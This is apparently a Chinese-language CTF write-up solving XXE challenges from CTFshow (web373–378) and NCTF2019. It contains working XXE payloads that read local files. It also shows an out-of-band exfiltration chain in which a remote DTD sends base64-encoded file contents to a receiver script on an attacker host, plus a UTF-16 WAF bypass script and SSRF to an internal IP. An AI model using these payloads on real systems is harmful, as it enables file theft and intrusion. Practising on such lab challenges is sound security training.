LOADING...

dadada~

loading

XXE-WP


CTFSHOW

web373

  • 能够看到是一个很xxe的xxe代码

  • 直接post传:

    <!DOCTYPE xxe [
    <!ENTITY haoye SYSTEM "file:///flag">
    ]>
    <hhh>
    <ctfshow>&haoye;</ctfshow>
    </hhh>
    
  • 得到flag

web374~376

  • 没有vps,先鸽了,中秋假期再说,作业太多了呜呜呜

———————————–咕咕线——————————————–

  • 有vps啦,我来了

web374

  • 应该是很常规的无回显xxe,虽然我本地多次失败,还写错了vps的ip呜呜呜

  • 新建一个1.php,用于接收得到的内容并写入文件:

    <?php 
        $a = $_GET['q'];
        $myFile = "flag.txt";
        file_put_contents($myFile, $a, FILE_APPEND);
    
  • payload长这样:

    <!DOCTYPE convert [ 
    <!ENTITY % remote SYSTEM "http://[IP: xxx.xx]/1.dtd">
    %remote;%int;%send;
    ]>
    
  • 新建一个1.dtd文件:

    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://[IP: xxx.xx]/1.php?q=%file;'>">
    
  • 访问flag.txt,得到flag

web375

  • preg_match('/<\?xml version="1\.0"/', $xmlfile),过滤了xml的头,但是这个东西是可写可不写的,等于是没啥影响
  • 跟上一个题一样

web376

  • 看着好像那个过滤和375没什么区别呀
  • 好吧~做法也没什么区别

web377

  • 咕咕咕~
  • xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码
  • 在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集
  • 外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码;例如,libxml2解析器只支持一种类型的utf-32 —— utf-32BE,特别是不支持BOM

————————————-咕咕线———————————————

  • 我肥来了!

  • preg_match('/<\?xml version="1\.0"|http/i', $xmlfile),又过滤了http

  • 脚本:

    import requests
    
    url = 'http://bb7a4789-f80a-44c3-9e6b-4ea9d1ad33dc.challenge.ctf.show/'
    s = '''<!DOCTYPE convert [  
    <!ENTITY % remote SYSTEM "http://[IP:xxx.xx]/1.dtd">
    %remote;%int;%send;
    ]>'''
    s = s.encode('utf-16')
    r = requests.post(url=url, data=s)
    print(r.text)
    

web378

  • wow,是熟悉的感觉!和昨天那个NCTF的差不多,但是昨天那个最后爆破到失去耐心,wp也还没写

  • 这个好好写一下吧

  • 首先看到是一个登录界面,随便输入admin,admin尝试登录失败,页面回显admin login fail!

  • 抓包,可以看到账号密码的提交格式是:

    <user><username>111</username><password>222</password></user>
    
  • repeater返回的是:

    <result><code>0</code><msg>111</msg></result>
    
  • 构造payload:

    <!DOCTYPE xml [
            <!ENTITY haoye SYSTEM "file:///flag">
    ]> 
    <user><username>&haoye;</username><password>222</password></user>
    
  • 返回flag

BUU

[NCTF2019]True XML cookbook

  • 补一下昨天的

  • 思路和上边378差不多,但是在读文件的时候开始陷入深深的疑惑

  • /etc/passwd但是没有啥有用的内容

  • 然后是这样:

    <!DOCTYPE xml [
            <!ENTITY haoye SYSTEM "file:///proc/net/fib_trie">
    ]> 
    <user><username>&haoye;</username><password>111</password></user>
    
  • 找到了一个正确的IP,然后通过bp爆破,找到一个可以访问的IP,最后的payload长这样:

    <!DOCTYPE xml [
            <!ENTITY haoye SYSTEM "http://10.244.80.142">
    ]> 
    <user><username>&haoye;</username><password>111</password></user>
    

[NCTF2019]Fake XML cookbook

  • 直接拿上边378的payload,回显flag

    <!DOCTYPE xml [
            <!ENTITY haoye SYSTEM "file:///flag">
    ]> 
    <user><username>&haoye;</username><password>222</password></user>